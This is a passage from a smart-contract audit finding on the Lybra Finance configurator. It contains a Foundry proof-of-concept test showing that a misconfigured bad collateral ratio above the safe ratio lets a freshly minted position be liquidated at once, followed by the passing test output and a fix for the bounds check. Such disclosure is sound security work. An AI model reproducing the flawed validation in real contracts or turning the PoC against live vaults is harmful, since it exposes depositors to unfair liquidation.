    LybraWstETHVault pool;

    function setUp() public {
        govTimelock = new GovernanceTimelock(0, new address[](0), new address[](0), address(0));
        configurator = new Configurator(address(govTimelock), address(0));
        stETH = new stETHMock();
        wstETH = new WstETH(IStETH(address(stETH)));
        PeUSD = new PeUSDMainnet(address(configurator), 18, goerliEndPoint);
        ethOracle = new mockChainlink();
        pool = new LybraWstETHVault(address(stETH), address(PeUSD), address(ethOracle), address(wstETH), address(configurator));
        configurator.setMintVaultMaxSupply(address(pool), type(uint).max);
        configurator.setMintVault(address(pool), true);
    }

    function testBadColGtSafeCol() public {
        vm.expectRevert(bytes("LNA"));
        // 150e18 >= bad >= 130e18 && bad <= pool_safe + 10e18
        // reverts if set bad before safe because pool_safe = 0, [130e18,150e18] > 0 + 10e18
        configurator.setBadCollateralRatio(address(pool), 140e18);

        // due to vaultType is declared with `private`, calling will revert, use mockCall to bypass.
        vm.mockCall(
            address(pool),
            abi.encodeWithSignature("vaultType()"),
            abi.encode(1) // return vaultType = 1
        );

        // need to set safe first, newRatio >= 0 + 10e18
        configurator.setSafeCollateralRatio(address(pool), 140e18);
        assertEq(configurator.getSafeCollateralRatio(address(pool)), 140e18, "Should set the safe rate to the specific number");

        // now set the bad rate = safe + 10e18
        configurator.setBadCollateralRatio(address(pool), 150e18);
        assertEq(configurator.getBadCollateralRatio(address(pool)), 150e18, "Should set the bad rate to the specific number");


        // mock oracle returns constant price =  $1600 (1600e18)
        wstETH.claim();
        wstETH.approve(address(pool), 1 ether);
        pool.depositAssetToMint(1 ether, 1142857142857142857142); // mint to safe rate = 1 ether * 1600e18 * 100 / 140e18

        PeUSD.approve(address(pool), type(uint).max);
        pool.liquidation(address(this), address(this), 0.5 ether); // instantly liquidable with the same asset price as mint
    }
}

The test should pass without errors.

Running 1 test for test/LybraConfigurator.t.sol:C4LybraConfiguratorTest
[PASS] testBadColGtSafeCol() (gas: 435978)
Test result: ok. 1 passed; 0 failed; finished in 25.13ms

Please follow this gist if you prefer my instruction on how I setup the contest repo with Foundry environment.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

The validation logic newRatio <= vaultSafeCollateralRatio[pool] + 1e19 seems to be incorrect. It should not allow the vaultBadCollateralRatio to be greater than the vaultSafeCollateralRatio. The correct logic should be newRatio <= vaultSafeCollateralRatio[pool] - 1e19 or newRatio < vaultSafeCollateralRatio[pool] to ensure that the vaultBadCollateralRatio can only be set to a value below the vaultSafeCollateralRatio.

Assessed type

Invalid Validation